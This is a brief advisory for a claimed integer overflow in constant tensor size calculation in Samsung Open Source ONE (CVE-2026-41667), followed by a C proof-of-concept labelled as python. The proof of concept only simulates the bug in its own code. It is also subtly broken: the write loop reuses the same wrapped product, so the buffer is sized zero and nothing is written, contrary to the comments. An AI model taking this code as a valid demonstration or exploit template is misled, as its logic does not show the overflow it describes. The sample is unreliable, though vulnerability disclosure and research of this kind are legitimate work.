Integer overflow in constant tensor data size calculation in Samsung Open Source ONE could cause incorrect buffer sizing for large constant nodes.
Affected version is prior to commit 1.30.0.
The following code is for security research and authorized testing only.
python
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
// Simulating the vulnerable constant tensor size calculation
void calculate_tensor_size(size_t dim1, size_t dim2) {
printf("Calculating size for dims: %zu x %zu\n", dim1, dim2);
// Vulnerability: Integer overflow occurs here if dims are too large
// This mimics the logic in Samsung Open Source ONE prior to 1.30.0
size_t total_size = dim1 * dim2;
printf("Calculated total size: %zu\n", total_size);
// Buffer allocation based on incorrect size
char *buffer = (char *)malloc(total_size);
if (buffer == NULL) {
printf("Memory allocation failed.\n");
return;
}
// Simulate writing data to the buffer
// If overflow occurred, this write will exceed the allocated buffer
printf("Writing data to buffer...\n");
for(size_t i = 0; i < dim1 * dim2; i++) {
buffer[i] = 'A'; // Potential buffer overflow
}
free(buffer);
}
int main() {
// Trigger condition: Large values causing integer overflow
// Example values that would cause wrap-around in 64-bit multiplication
size_t large_dim = 0x100000000;
printf("--- PoC for CVE-2026-41667 ---\n");
calculate_tensor_size(large_dim, large_dim);
return 0;
}